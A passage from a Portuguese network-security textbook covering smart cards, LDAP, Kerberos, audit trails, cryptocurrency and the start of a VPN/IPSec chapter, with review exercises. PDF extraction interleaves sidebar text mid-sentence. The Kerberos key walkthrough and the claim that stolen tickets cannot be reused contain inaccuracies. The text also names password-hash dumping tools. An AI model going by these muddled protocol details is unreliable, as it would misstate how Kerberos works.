recendo um nível razoável de segurança e abrangendo uma ampla gama de aplicações.
Os cartões por contato são também chamados de Cartões de Memória (Memory Cards).
Os Smart Cards que não fazem uso de contato físico são tipicamente Cartões Micropro-
cessados. Embora não seja do escopo dos cartões de identificação, a modalidade de
transmissão sem contato permite que o cartão propriamente dito seja apenas um por-
tador do chip, ou seja, a presença do chip em anéis, relógios, braceletes e tornozeleiras
ainda não quebra o conceito de Smart Card.

Os cartões inteligentes por contato físico podem ser utilizados com leitores conectados
em um computador pessoal, a fim de autenticar um usuário. Softwares de navegação na
internet também podem utilizar a tecnologia do Smart Card para complementar SSL (Secure
Sockets Layer), utilizado para melhorar a segurança em transações na internet. Como o
cartão inteligente possui arquitetura de hardware e software, ele interage com o sistema,
Segurança de Redes e Sistemas

permitindo ou negando acesso quando necessário. Ele pode ser programado, por exemplo,
para que após cinco tentativas de autenticação sem sucesso, o conteúdo da memória seja
destruído, inutilizando-o.

Hoje é muito comum Smart Cards nos nossos cartões de crédito, em chips de celulares GSM
ou em cartões emitidos pelo governo, como o e-CPF e o e-CNPJ, além do recém-anunciado
Registro de Identificação Civil (RIC). Nesses casos, o cartão contém um certificado digital
padrão ICP-Brasil. Os certificados digitais serão vistos em mais detalhes na sessão 7. Em
alguns desses cartões, existe um sistema complexo de proteção do material criptográfico

104
contido dentro do cartão, que se apaga caso o cartão seja aberto ou haja erro na senha
de acesso em um determinado número de vezes. Normalmente, as chaves privadas nunca
saem de dentro do cartão, que possui um chip capaz de realizar operações criptográficas
dentro do próprio cartão.

Servidores de diretório: LDAP


LDAP é um protocolo (TCP/IP) cliente-servidor, utilizado para acessar um serviço de dire-
X.500 tório. Foi inicialmente usado como uma interface para o X.500, mas também pode ser usado
Série de recomen- com autonomia e com outros tipos de servidores de diretório. Atualmente tornou-se padrão
dações do ITU-T que
e diversos programas já têm suporte a LDAP. Livros de endereços, autenticação, armazena-
definem o serviço de
diretório. mento de certificados digitais (S/MIME) e de chaves públicas (PGP) são alguns dos exemplos
de onde o LDAP já é amplamente utilizado.

O LDAP é um banco de dados com informações descritivas, baseado em atributos e organi-


zado em forma hierárquica (árvore) e não relacional (tabelas), otimizado para leitura e com
certificação digital e baseado em entradas.

Uma entrada é um conjunto de atributos referenciado por Nome Distinto (DN) de forma não
ambígua. Cada atributo de entrada tem um tipo de valor, como por exemplo, CN e ON.

Serviço de diretório
Um diretório é como um banco de dados, que tende a conter informações descritivas,
baseadas em atributo, sendo organizado em forma hierárquica (árvore) e não relacional
(tabelas). A informação em um diretório é geralmente mais lida do que escrita, de modo que
normalmente os diretórios são otimizados para leitura. Como consequência, diretórios nor-
malmente não são usados para programar transações complexas ou esquemas de consultas
regulares em bancos de dados.

Diretórios são preparados para dar resposta rápida a um grande volume de consultas ou
operações de busca. Eles também podem ter a habilidade de replicar informações extensa-
mente; isso é usado para acrescentar disponibilidade e confiabilidade, enquanto reduzem o
tempo de resposta.

As recomendações do ITU-T X.509 são parte da série de recomendações X.500, que define
ITU-T serviços de diretório. A ITU-T define que o diretório é um servidor ou um conjunto de servi-

Capítulo 6 - Autenticação, autorização e certificação digital


Setor de normatização dores distribuídos que mantêm a base de informações de usuários. Nessa base de informa-
de telecomunicações, ções estão contidos endereços de rede e outros atributos e informações de usuários.
responsável por

Exercício de fixação 8 e
coordenar padroniza-
ções relacionadas a
telecomunicações da LDAP
União Internacional de
Telecomunicações. Explique o que é o LDAP.

105
Exercício de fixação 9 e
Serviço de diretórios
O que é um serviço de diretório?

Tipos de informação
O modelo de serviço do diretório LDAP é baseado em entradas. Uma entrada é um conjunto
de atributos e é referenciada através de um nome distinto (DN). O DN é usado para referen-
ciar uma entrada de forma não ambígua. Cada um dos atributos de entrada tem um tipo e
um ou mais valores. Esses tipos geralmente são palavras mnemônicas, como CN para nome
comum, ou mail para endereço de correio eletrônico; existem RFCs que determinam essas
palavras, com os valores dependendo do tipo de atributo. Por exemplo, um atributo mail pode
conter o valor <usua-rio@dominio.com.br>. Um atributo fotoJpeg conterá uma fotografia.

Protocolo Kerberos
Protocolo de autenticação de rede desenvolvido em 1983 pelo MIT (Massachusetts Institute
of Technology), como parte de um projeto de segurança que visava produzir um ambiente
de TI seguro e amplamente distribuído pelo campus da universidade.

Fazendo uso de criptografia de chave privada, provê autenticação em redes abertas


mediante uso de algoritmo de autenticação de três vias (TTP – Trusted Third Party),
proposto por Needham e Schroeder. Todos os equipamentos envolvidos devem confiar
mutualmente no sistema de autenticação central provido pelo Kerberos. Esse conceito é
semelhante a um cartório no mundo real, ou seja, a sociedade confiará na assinatura de um
tabelião para afirmar que os envolvidos realmente se identificaram (autenticaram) durante a
assinatura de um determinado contrato.

Como o nome sugere, o Kerberos funciona, basicamente, como três componentes principais, l
um para cada função específica: Na mitologia Grega,
Kerberos era um
11 Ticket: tipo de certificado/token que informa com segurança, para todos os equipa- cachorro que possuía
três cabeças e era
mentos conectados ao sistema de autenticação, a identidade do usuário para quem o
responsável por vigiar
ticket foi concedido. os portões de Hades,
tendo como sua
11 Autenticador: uma credencial gerada pelo cliente com informações que são comparadas
principal missão evitar
com as informações do ticket, para garantir que o cliente que está apresentando o ticket a entrada e saída de
é o mesmo para o qual o ticket foi concedido. pessoas ou de coisas
indesejáveis.
11 Centro de distribuição de chaves: para acessar uma aplicação, o usuário obtém tem-
Segurança de Redes e Sistemas

porariamente tickets válidos através do centro de distribuição de chaves que ratificam


os tickets com o autenticador. A aplicação examina o ticket e o autenticador quanto à
validade e concede acesso caso sejam válidos.

Explicando de uma forma mais simplificada, imagine um sistema de vendas de ingressos


para um filme de cinema com classificação para maiores de 18 anos. Para comprar o
ingresso, você deve ir então à bilheteria (centro de distribuição) para realizar o pagamento
e provar que você possui mais de 18 anos. Ao realizar essas atividades com sucesso, a bilhe-
teria vai lhe fornecer um ingresso (ticket) que você apresentará ao bilheteiro (autenticador),

106
assim que tentar entrar na sala do filme. O bilheteiro vai verificar se o ticket é verdadeiro
antes de lhe permitir entrar na sala de cinema.

Para o processo de autenticação são utilizados três servidores:

11 Servidor de Autenticação (Authentication Server – AS): responsável por receber um


pedido de autenticação de um usuário e verificar se a identidade desse usuário é autên-
tica. Sendo válida essa identidade, o AS fornece um ticket e uma chave de sessão, que vai
permitir o contato com outro servidor, o TGS.

11 Servidor de Concessão de Tickets (Ticket Granting Server – TGS): responsável por


fornecer tickets para serviços específicos requeridos pelo usuário. O contato com o TGS
é feito após a autenticação pelo AS. O usuário tem seu ticket avaliado e, uma vez validado
pelo TGS, recebe um novo ticket, agora para obter algum serviço disponível.

11 Servidor de Administração (KADM): servidor responsável por controlar as chaves


secretas (informações criptografadas). Antes de realizar o processo de autenticação, é
preciso que o usuário cadastre seus dados através do KADM, para que possua um login e
uma senha.

Key Distribution Center (KDC)

Ba
nco de Dados

Ticket Granting Server Authentication Server


(TGS) (AS)
TG

EQ
S_
TG

_R
RE

EP
S_

AS
Q
RE

_R
P

AS

AP_REP
Figura 6.6
Processo de AP_REQ
autenticação do Servidor de
Kerberos. aplicação Cliente

Resumidamente, os seguintes passos são executados quando um usuário tentar acessar um Capítulo 6 - Autenticação, autorização e certificação digital
determinado serviço em um Application Server.

1. O usuário realiza uma autenticação em sua estação (utilizando usuário e senha, por exemplo).

2. O Cliente Kerberos então executa uma função hash sobre a senha digitada e isso se torna
a Chave Secreta do Cliente/Usuário (aqui chamada de K1).

3. O Cliente Kerberos envia uma mensagem em texto claro para o Authentication Server
(AS) contendo o Identificador do Usuário (nessa fase, não é enviada a chave K1 e/ou a
senha do usuário para o AS).

4. O AS gera a chave secreta (K1) utilizando a mesma função hash utilizada pelo usuário a
partir da senha do usuário encontrada no servidor de banco de dados (por exemplo, o
Active Directory no Windows Server).

107
5. O AS envia de volta ao cliente duas mensagens:

22 Mensagem A contendo a Chave de Sessão do TGS (K2) cifrada utilizando a chave K1


gerada no passo anterior.

22 Mensagem B contendo o TGT (Ticket-Granting-Ticket), que inclui a identificação do


cliente, endereço de rede do cliente, prazo de validade do ticket e a Chave de Sessão
do cliente TGS (K2). Todo o conteúdo do ticket TGT é criptografado usando a Chave
Secreta TGS, gerada pelo Servidor TGS e enviada de forma cifrada na Mensagem A.

6. O cliente recebe mensagens A e B e tenta decifrá-las utilizando a chave K1 e, após,


tenta recuperar a Chave TGS da Sessão (k2), que está cifrada na mensagem A. Caso não
consiga, fica claro que o usuário não possui a chave secreta (k1) e, portanto, não deve
ser autenticado.

Kerberos no Windows
A implementação Kerberos do Windows foi implementada a partir do Windows 2000 Server,
onde passou a ser padrão no Active Directory, o serviço de diretórios da Microsoft. O Active
Directory consiste em um diretório X.500 (LDAP), combinado com autenticação Kerberos. No
Active Directory, o Kerberos substitui a autenticação NTLM, facilitando o uso de single
sign-on (SSO) e tornando a solução mais segura. Apesar de o Kerberos ser um protocolo
mais robusto, as senhas ainda são armazenadas em formato de Hash no diretório e podem
Figura 6.7
ser obtidas através de utilitários encontrados na internet, como o Cain & Abel, Pwdump e Kerberos.
Ophcrack. A figura a seguir mostra o funcionamento geral do Kerberos.

Key Distribution Center (KDC)

1. I am user Sam and need a Ticket to Get Tickets (TGT)

2. Here is a TGT-If you can decrypt this Authentication Ticket Granting


response with your password hash Service (AS) Service (TGS)

User logs in to gain 3. Here is my TGT, give me a Service Ticket


network access

4. Here is your Service Ticket Network


services
5. Here is my Service Ticket Authenticate me

6. Cliente/Server session
Segurança de Redes e Sistemas

Acesso a serviços em uma rede


Sempre que um usuário tentar acessar um serviço na rede, o cliente Kerberos enviará para o dMais informações
TGS o TGT que foi gerado pelo serviço de autenticação (KDS). O TGS vai gerar um ticket para sobre o Kerberos
o serviço em particular que será utilizado pelo cliente. Esse funcionamento é detalhado nos podem ser encontradas
na RFC 4120.
passos a seguir, que explicam o funcionamento do protocolo nessa situação:

108
1. Ao tentar acessar um serviço em um servidor, o cliente Kerberos envia duas mensagens
ao TGS.

22 Mensagem C: composta pelo TGT informado na Mensagem B do item anterior e o


identificador do serviço que está sendo requisitado.

22 Mensagem D: autenticador, composto pelo identificador do cliente e de um período


de validade cifrado com a Chave de Sessão TGS do cliente (K2).

2. De posse das mensagens C e D, o servidor TGS tentará recuperar o TGT da Mensagem B


a partir da mensagem C. Ele vai decifrar a mensagem B utilizando a Chave de Sessão TGS
(K2) que ele gerou nos passos anteriores. Isso vai produzir uma Chave de Sessão TGS (k2),
que foi informada pelo cliente a qual ele vai comparar com sua Chave de Sessão TG (K2)
que ele possui associada ao cliente. Após isso, ele decifrará a mensagem D e, se tudo tiver
acontecido de forma correta, ele enviará ao cliente:

22 Mensagem E: Ticket Client-to-Server, que inclui o Identificador do Cliente, o endereço


de rede do cliente, um período de validade para a Session Key entre o cliente e o ser-
vidor (K3), tudo cifrado, utilizando a chave secreta gerada para o serviço (k2).

22 Mensagem F: Chave Secreta entre cliente e servidor (k3) cifrada utilizando a chave
TGS gerada para o cliente.

3. De posse das mensagens E e F geradas pelo TGS, o cliente encaminha essas informa-
ções para o servidor responsável pelo serviço em que o usuário está tentando acesso,
enviando as mensagens:

22 Mensagem E: gerada no passo anterior, contendo o Ticket Client-to-Server cifrado


utilizando a chave Secreta do Serviço (K3).

22 Mensagem G: uma nova mensagem de autenticação, incluindo o identificador do


cliente e um período de validade. Todas essas informações cifradas utilizando a chave
de sessão K3.

4. O servidor do serviço decifra o ticket utilizando sua própria chave secreta e recupera a
Chave de Sessão Cliente/Servidor (K3). Usando a chave de sessão K3, ele decifra a men-
sagem G e confirma a veracidade do processo de autenticação. Se tudo tiver acontecido
corretamente, o servidor do serviço envia uma mensagem para o cliente, confirmando sua
identidade e o período de validade informado pelo cliente na mensagem G, acrescido de 1.

5. O cliente, ao receber essa mensagem do servidor, verifica a autenticidade da mensagem

Capítulo 6 - Autenticação, autorização e certificação digital


decifrando-a com a Chave de Sessão Cliente/Servidor (K3) e, também, se a hora está atu-
alizada corretamente. Após isso, é iniciado então o acesso ao serviço solicitado.

Benefícios do Kerberos
Dentre os principais benefícios de se utilizar o Kerberos em redes de computadores,
podemos destacar:

11 Padrões baseados em autenticação robusta.

11 Amplo suporte ao Sistema Operacional.

11 Provê capacidade de Single Sign-On (SSO).

11 Senhas nunca percorrem a rede.

11 Senhas de difícil previsão.

11 Tickets de autenticação roubados não podem ser reutilizados.

109
Organização do Kerberos
O Kerberos oferece um mecanismo para autenticação mútua entre partes, antes de se
estabelecer efetivamente uma comunicação segura. O Kerberos usa o que é conhecido
como KDC (Key Distribution Center), para facilitar a distribuição segura de permissões e de
chaves simétricas dentro de uma rede. O KDC é executado como um serviço em um servidor
e mantém uma base de dados para todas as entidades de segurança dentro do chamado
Domínio Kerberos.

O Kerberos divide a rede nos chamados reinos (realms). Cada reino possui seu servidor de
autenticação e uma política de segurança própria, permitindo diferentes níveis de segu-
rança por reino. Essa divisão de reinos pode ser hierarquizada, fazendo com que cada área
da organização possua um reino local vinculado a um reino central.
Figura 6.8
Exemplo de
Administrativo Empresa 1 Financeiro Empresa 1 autenticação mútua
Internet para acesso de
serviços.

Por exemplo, para que o domínio “Administrativo Empresa1” consiga acessar serviços de
“Fi-nanceiro Empresa1” em um meio inseguro como a internet, basta que os servidores
Kerberos troquem chaves de segurança e se autentiquem mutuamente. Assim o usuário
autenticado em “Administrativo Empresa1” não necessita de outra autenticação para
acessar serviços em “Financeiro Empresa1”. Em uma rede Windows, o Kerberos funciona no
controlador de domínio e utiliza o Active directory para autenticar, efetivamente, todas as
entidades constantes nesse diretório.

Para mais informações sobre o funcionamento do protocolo Kerberos, consulte:

11 Related Requests For CommentsRFC 4120 – The Kerberos Network Authentication Service (V5).

11 RFC 4537 – Kerberos Cryptosystem Negotiation Extension.

11 RFC 4752 – The Kerberos V5 (GSSAPI) Simple Authentication and Security Layer (SASL)
Mechanism.

11 RFC 6111 – Additional Kerberos Naming Constraints.

11 RFC 6112 – Anonymity Support for Kerberos.

11 RFC 6113 – A Generalized Framework for Kerberos Pre-Authentication.

11 RFC 6251 – Using Kerberos Version 5 over the Transport Layer Security (TLS) Protocol.

Exercício de fixação 10 e
Kerberos
O que é Kerberos e como é utilizado?
Segurança de Redes e Sistemas

Trilhas de auditoria
A análise dos eventos é uma atividade vital para identificar o que ou quem causou algo no
sistema. O processo de auditoria pode ser dividido em fases definidas na elaboração da

110
política de segurança. A auditoria em segurança da informação tem o papel de assegurar a
qualidade da informação e participar do processo de garantia quanto a possíveis e indesejá-
veis problemas de falha humana.

Trilha de auditoria é termo genérico para registro de uma sequência de atividades em um


sistema ou conjunto deles. A ideia básica da análise de trilhas de auditoria é, em primeiro
lugar, registrar e armazenar as atividades do sistema em uma sequência selecionada por
projetistas ou administradores com base nas políticas previamente definidas.

Uma auditoria é indispensável para o monitoramento relacionado à segurança de qualquer


aplicativo baseado em servidor, de servidores de e-mail a bancos de dados e servidores web.

Nos ambientes atuais que valorizam a segurança, uma trilha de auditoria confiável é uma
ferramenta valiosa e normalmente um requisito legal para determinadas indústrias. Por
exemplo, normas norte-americanas como a Sarbanes-Oxley e a HIPAA (Health Insurance
Portability Accountability Act) requerem trilhas de auditoria para determinados sistemas,
aplicativos e dados.

Geração dos dados


Os sistemas operacionais Windows Server 2003 e 2008 fornecem recursos que permitem
que um grande número de aplicativos use a funcionalidade de auditoria. Podem ser regis-
trados eventos das atividades realizadas pelo e no sistema. Um exemplo é a configuração
das diretivas de segurança local do Windows, ferramenta que permite configurar o registro
Figura 6.9 de eventos, como o acesso a objetos locais, conforme as figuras seguintes.
Acesso às
funcionalidades Acesse “Local Security Policy” em Local Policies > Audit Policy > Audit object acess. Configure
de Audit Policy. como Failure.

Capítulo 6 - Autenticação, autorização e certificação digital

111
Figura 6.10
Configurando as
propriedades de
Audit object access.

Uma vez configurada a diretiva, os registros serão gravados localmente no próprio sistema,
podendo ser visualizados com o Event Viewer, outra ferramenta Windows.

Criptomoedas
Uma criptomoeda (um tipo de moeda digital descentralizada) é um meio de troca que se
utiliza da tecnologia de blockchain e da criptografia para assegurar a validade das transa-
ções e a criação de novas unidades da moeda. O Bitcoin, a primeira criptomoeda descentra-
lizada, foi criado em 2009 por um usuário que usou o pseudônimo Satoshi Nakamoto. Desde
então, muitas outras criptomoedas foram criadas. Mais recentemente, tem-se assistido a
um fenômeno de explosão de inúmeros tokens que têm sido criados com base no protocolo
do Ethereum, principalmente após a onda massiva de Ofertas Iniciais de Moedas (usual-
mente referida como ICO, do inglês Initial Coin Offering) que ocorreu em 2017.

Ao contrário de sistemas bancários centralizados, grande parte das criptomoedas usam um


sistema de controle descentralizado com base na tecnologia de blockchain, que é um tipo de
livro-registro distribuído operado em uma rede ponto-a-ponto (peer-to-peer) de milhares
computadores, onde todos possuem uma cópia igual de todo o histórico de transações,
impedindo que uma entidade central promova alterações no registro ou no software unila-
Segurança de Redes e Sistemas

teralmente sem ser excluída da rede.

Uma criptomoeda descentralizada é produzida, coletivamente, por um sistema de cripto-


moeda a uma razão definida quando o sistema é criado e disponibilizado publicamente.
Em contraste, em sistemas bancários ou econômicos centralizados como o sistema do
Banco Central do Brasil, conselhos administrativos ou governos controlam o suprimento de
moeda através da impressão de moeda fiduciária.

112
Existem centenas de especificações de criptomoedas, a grande maioria sendo similar e deri-
vada da primeira moeda descentralizada implementada, o Bitcoin. A segurança, integridade
e balanço dos registros de um sistema de criptomoeda são mantidos por uma comunidade
de mineradores: membros do público em geral usando seus computadores para ajudar a
validar e temporizar transações, adicionando-as ao registro (blockchain) de acordo com um
esquema definido de temporização.

A segurança dos registros de uma criptomoeda baseia-se na suposição de que a maioria


dos mineradores está mantendo o arquivo de modo honesto, tendo um incentivo finan-
ceiro para isso.

A maior parte das criptomoedas é planejada para diminuir a produção de novas moedas,
definindo assim um número máximo de moedas que entrarão em circulação. Isso imita a
escassez (e valor) e evita a hiperinflação. Comparadas com moedas comuns mantidas por
instituições financeiras ou em forma de dinheiro em mãos, criptomoedas são menos susce-
tíveis à apreensão devido a ações judiciais e possuem maior grau de anonimato em termos
da posse e transação de moedas.

Características centrais
Uma criptomoeda é um sistema que atende a seis condições seguintes:

11 O sistema não requer uma autoridade central, distribuído consenso em seu estado.

11 O sistema mantém uma visão geral das unidades de criptomoeda e sua propriedade.

11 O sistema define se novas unidades de criptomoeda podem ser criadas. E se novas


unidades de criptomoeda podem ser criadas, o sistema define as circunstâncias de sua
origem e como determinar a propriedade dessas novas unidades.

11 A propriedade de unidades de criptomoeda pode ser provada exclusivamente por criptografia.

11 O sistema permite que transações sejam executadas, nas quais a propriedade das uni-
dades criptográficas é alterada. Um extrato de transação só pode ser emitido por uma
entidade que comprove a propriedade atual dessas unidades.

11 Se duas instruções diferentes para alterar a propriedade das mesmas unidades criptográ-
ficas forem inseridas simultaneamente, o sistema executará no máximo uma delas.

Blockchain

Capítulo 6 - Autenticação, autorização e certificação digital


O blockchain (também conhecido como “o protocolo da confiança”) é uma tecnologia de
registro distribuído que visa a descentralização como medida de segurança. São bases de
registros e dados distribuídos e compartilhados que têm a função de criar um índice global
para todas as transações que ocorrem em um determinado mercado. Funciona como um
livro-razão, só que de forma pública, compartilhada e universal, que cria consenso e con-
fiança na comunicação direta entre duas partes, ou seja, sem o intermédio de terceiros.

Está constantemente crescendo à medida que novos blocos completos são adicionados a ela
por um novo conjunto de registros. Os blocos são adicionados à blockchain de modo linear
e cronológico. Cada nó – qualquer computador que conectado a essa rede tem a tarefa de
validar e repassar transações – obtém uma cópia da blockchain após o ingresso na rede.
A blockchain possui informação completa sobre endereços e saldos diretamente do bloco
gênese até o bloco mais recentemente concluído.

113
A seguir, temos um infográfico explicativo sobre o funcionamento do blockchain:

Como funciona a blockchain?

Um usuário Transações solicitadas são enviadas Nós individuais recebem a


solicita uma para uma rede P2P (peer-to-peer, ou requisição e validam a transação
transação. par-a-par), e enviadas em broadcast usando um algoritmo.
para cada computador (ou nó) individual.

Transações aprovadas são Uma vez que um bloco é adicionado


representadas por blocos, e à uma chain (cadeia) existente,
adicionadas a um livro-razão transações tornam-se completas e
(ou registro) público. permanentes.

Figura 6.11
Funcionamento
do blockchain.
Segurança de Redes e Sistemas

114
7
Redes Privadas Virtuais
objetivos

Detalhar o uso de VPN IPSec e VPN SSL, abordando aspectos práticos relacionados.

conceitos
VPN, PPT, PL2TP, IPSec e SSL, entre outros.

Introdução
A criptografia é um assunto extenso e muito importante para a segurança da informação,
por muitos autores considerada fundamental. Nesta sessão, veremos aspectos teóricos do
uso de VPN IPSec e VPN SSL, e abordaremos aspectos práticos dessas aplicações.

Exercício de nivelamento 1 e
Redes Privadas Virtuais
O que você entende por VPN?

A sua organização utiliza VPN? Capítulo 7 - Redes Privadas Virtuais

VPN
VPN (Virtual Private Network) possibilita o uso de uma rede pública para interligar
escritórios comerciais, com redução de custos. Serve para viabilizar negócios que têm
como premissa requisitos de comunicação eficiente e transportar dados de modo seguro.
Pode ser usada para transferir informações sigilosas usando um canal compartilhado para
interligar duas redes privadas protegidas.

115
Premissas de uma VPN:

11 Confidencialidade dos dados.

11 Integridade dos dados.

11 Não repúdio do emissor.

11 Autenticação da mensagem.

11 Analogia ao modelo OSI.

Virtual Private Network é um termo bastante utilizado atualmente. A possibilidade de


uso de uma rede pública como a internet para interligar escritórios comerciais e grandes
empresas tem permitido a redução de custos e vai viabilizar negócios que têm como
premissa requisitos de comunicação eficiente. Dessa forma, gestores de empresas vêm
buscando mecanismos para manter as equipes sempre em comunicação, visando diminuir
os investimentos em infraestrutura de TI ou até mesmo buscando melhor uso do parque
tecnológico já instalado.

Uma solução efetiva de VPN visa transportar os dados de modo seguro e sigiloso, usando
um canal compartilhado para interligar duas redes privadas protegidas. Para que isso
ocorra, precisamos alcançar alguns objetivos importantes:

11 Confidencialidade dos dados: garantia de que a mensagem não poderá ser interpretada
por origens não autorizadas.

11 Integridade dos dados: garantia de que o conteúdo da mensagem não foi alterado
durante a transmissão entre o emissor e o receptor.

11 Não repúdio do emissor: o emissor não poderá repudiar o envio da mensagem, ou seja,
dizer que ele não enviou a mensagem questionada, com embasamento legal.

11 Autenticação da mensagem: garantia de que a mensagem foi enviada por uma fonte
autêntica e será entregue a um destino autêntico.

Nesta sessão, vamos utilizar o modelo OSI de 7 camadas para classificar as tecnologias de VPN.
Na ilustração, as camadas do modelo OSI e as respectivas aplicações de tecnologias de VPN.

Modelo OSI Tecnologia VPN

Camada 7: Aplicação HTTPS, S/MIME, PGP

Camada 6: Apresentação N/A

Camada 5: Sessão N/A

Camada 4: Transporte SSL e TLS, SOCKS, SSH


Segurança de Redes e Sistemas

Camada 3: Rede IPSec, MPLS VPNs

PPTP, L2TP, L2F,


Camada 2: Enlace
ATM cell encryptors

RF encryptors, Figura 7.1


Camada 1: Física
optical bulk encryptors OSI vs. VPN.

116
Usos para VPNs
VPNs podem ser usadas para diversos fins, mas os casos mais frequentes são para, primei-
ramente, ligar colaboradores ou funcionários em trânsito à rede corporativa para acessar
arquivos de trabalho ou comunicar-se com a rede de modo geral. A seguir, uma imagem
ilustrativa desse tipo de conexão:

Empresa
IPSec
/PPTP
/L2TP

L2TP/L2F Roteador
VPN
PSTN
Figura 7.2
VPN client-to-site. NAS

O segundo caso de uso frequente para VPNs é na conexão de diferentes localidades


l pertencentes à mesma organização, como um escritório-sede e filiais de uma empresa.
VPNs desse tipo O objetivo desse tipo de comunicação é estabelecer um link permanente entre as localidades,
também são comu- permitindo que funcionários das filiais acessem, por exemplo, sistemas exclusivos para a
mente referenciadas
como road warrior. intranet ou compartilhamentos de arquivos e serviços de autenticação centralizados. Nesse
caso, temos um tipo de conexão normalmente referenciada como site-to-site:

Empresa
IPSec
Filial NAS /PPTP
/L2TP

Filial
L2TP/L2F Roteador
VPN
Capítulo 7 - Redes Privadas Virtuais

NAS

Figura 7.3
VPN site-to-site.

117
VPN PPTP
Analisando o modelo OSI, a VPN PPTP encontra-se na camada de enlace por ser uma
derivação do protocolo Point to Point Protocol (PPP), que consiste em um protocolo de
comunicação ponto a ponto, muito utilizado no passado em linhas telefônicas. O PPTP foi
desenvolvido pela Microsoft com o objetivo de incrementar recursos ao PPP. Ele utiliza
a autenticação do PPP com um recurso de túnel que pode ser criptografado utilizando
criptografia de 40 ou 128 bits. A figura apresenta uma estrutura básica de um pacote PPTP,
contido dentro de um pacote IP.

Cabeçalho Data Link


Cabeçalho IP Cabeçalho PPTP Cabeçalho PPP Payload PPP
Data Link Trailer

O PPTP é um protocolo orientado à conexão, o que exige uma estrutura cliente/servidor. Figura 7.4
Sendo assim, ele trafega por padrão na porta TCP 1723. Para estabelecer o túnel PPTP em Estrutura do
Protocolo do
redes com firewall, é necessário liberar essa porta TCP e utilizar NAT. Será necessário NAT de Túnel PPTP.
um-para-um ou algum protocolo especial para permitir o uso de PPTP (muitas vezes
chamado de VPN passthru).

Foram desenvolvidas várias formas de autenticação do PPP, sendo as mais usuais:

11 Protocolo de Autenticação de Palavras (PAP): protocolo de autenticação simples em


que o cliente do túnel PPP enviará o usuário e a senha para o servidor em texto claro.

11 Challenge Handshake Authentication Protocol (CHAP): protocolo de autenticação em


que o cliente e o servidor responderão a um desafio, através de senha criptografada com
o algoritmo HASH MD5, que, trocada entre o cliente e o servidor, evita que a senha seja
transmitida em texto claro.

11 MS-CHAP: protocolo proprietário da Microsoft criado para autenticar estações de


trabalho remotas baseadas no Windows. Tal como o CHAP, o MS-CHAP utiliza um
mecanismo de contestação-resposta para autenticar ligações sem enviar a palavra-chave
em texto claro. O MS-CHAP utiliza o algoritmo Hash MD4 (Message Digest 4) e o algoritmo
de encriptação Data Encryption Standard (DES) para gerar a autenticação challenge/
response. O MS-CHAP também fornece mecanismos para comunicar erros de ligação e
para alterar a palavra-passe do utilizador.

Podemos verificar, assim, que o CHAP e o MS-CHAP são preferíveis ao PAP,


pois não trafegam a senha em texto claro.
Segurança de Redes e Sistemas

118
L2TP
O L2TP é um protocolo aberto, especificado na RFC 2661. Foi desenvolvido por um grupo de
empresas incluindo Cisco e Microsoft. Assim como o PPTP, o L2TP utiliza a estrutura cliente
servidor, mas é orientado a pacotes. Dessa forma, alguns problemas de desempenho do
PPTP foram contornados, por utilizar UDP como protocolo de transporte.

Cabeçalho Data Link


Cabeçalho IP Cabeçalho UDP Cabeçalho L2TP Cabeçalho PPP Payload PPP
Data Link Trailer

Figura 7.5 Para implementar o túnel L2TP em redes com firewall por padrão, é necessário liberar a
Estrutura do porta UDP 1701. Como é um protocolo orientado a pacotes, o NAT pode ser implementado
protocolo do L2TP.
no modelo um-para-muitos ou um-para-um. Por ser mais leve e prover melhor desem-
penho, recomenda-se usar o L2TP no lugar do PPTP, sempre que possível. Deve-se ainda
evitar o PPTP, especialmente as versões com chaves de 40 bits, pois diversas vulnerabili-
dades já foram descobertas nesse protocolo.

IPSec
A segurança de IP (IPSec) é uma capacidade que pode ser acrescentada a qualquer versão
atual do protocolo Internet: IPv4 e IPv6, por meio de cabeçalhos adicionais. IPSec é um
conjunto de protocolos, também conhecido como suíte de segurança IP.

Os protocolos inclusos na suíte de segurança IP estão focados em:

11 Entrega da mensagem autêntica.

11 Integridade dos dados.

11 Confidencialidade dos dados.

11 Não repúdio do emissor.

A segurança de IP (IPSec) é uma capacidade que pode ser acrescentada a qualquer versão
atual do protocolo Internet: IPv4 e IPv6, por meio de cabeçalhos adicionais. O IPSec atua
na camada de rede do modelo OSI, por criptografar o conteúdo (payload) do pacote IP.
Como o IPSec não é um protocolo único, mas sim um conjunto de protocolos, cada qual com
um objetivo específico, podemos chamar o IPSec de suíte de segurança IP. Os protocolos
inclusos na suíte de segurança IP estão focados na entrega da mensagem autêntica, com
integridade dos dados, confidencialidade dos dados e não repúdio do emissor.

A especificação do IPSec consiste em várias RFCs, sendo as mais importantes delas emitidas
em 1998. São elas:
Capítulo 7 - Redes Privadas Virtuais

11 RFC 2401: descrição da visão geral de uma arquitetura de segurança.

11 RFC 2402: descrição de uma extensão de autenticação de pacotes para IPv4 e IPv6.

11 RFC 2406: descrição de uma extensão de criptografia de pacote para IPv4 e IPv6.

11 RFC 2408: especificação das capacidades de gerenciamento de chaves.

119
Além das quatro RFCs, diversos rascunhos foram publicados pelos grupos de trabalho do IP
Security Procotol. Os documentos estão descritos na RFC 2401, divididos em sete grupos,
conforme a figura:

Arquitetura

Protocolo ESP Protocolo AH

Algoritmo de Algoritmo de
criptografia autenticação

Domínio de
interpretação

Gerenciamento Figura 7.6


de chaves Visão do protocolo
IPSec.

11 Arquitetura: abrange os conceitos gerais, os requisitos de segurança, definições e


mecanismos, definindo a tecnologia IPSec.

11 Protocolo ESP (Encapsulating Security Payload): abrange o formato de pacote e


questões gerais relacionadas ao uso de ESP para criptografia de pacote e,
opcionalmente, autenticação.

11 Protocolo AH (Authentication Header): abrange o formato de pacote e questões gerais


relacionadas ao uso do AH para autenticação de pacotes.

11 Algoritmo de criptografia: um conjunto de documentos que descrevem como diversos


algoritmos de criptografia são usados para ESP.

11 Algoritmo de autenticação: um conjunto de documentos que descrevem como vários


algoritmos de autenticação são usados para AH e para a opção de autenticação do ESP.

11 Gerenciamento de chaves: documentos que descrevem esquemas de gerenciamento


de chaves. Exemplo: ISAKMP.

11 Domínio de interpretação: são valores para os outros documentos se relacionarem


entre si. Incluem identificadores para algoritmos aprovados de criptografia e
autenticação, além de parâmetros operacionais, como tempo de vida da chave.
Segurança de Redes e Sistemas

Exercício de fixação 1 e
VPN
Explique os objetivos da VPN.

120
Quais as formas mais usuais de autenticação do VPN PPP?

Exercício de fixação 2 e
IPSec
Explique como o IPSec funciona.

Modos de operação do IPSec


Cifragem de blocos – divide os dados em conjuntos de tamanho fixo (chamados de blocos).

11 Electronic Codebook (ECB).

11 Cipher-Block Chaining (CBC).

11 Propagating Cipher-Block Chaining (PCBC).

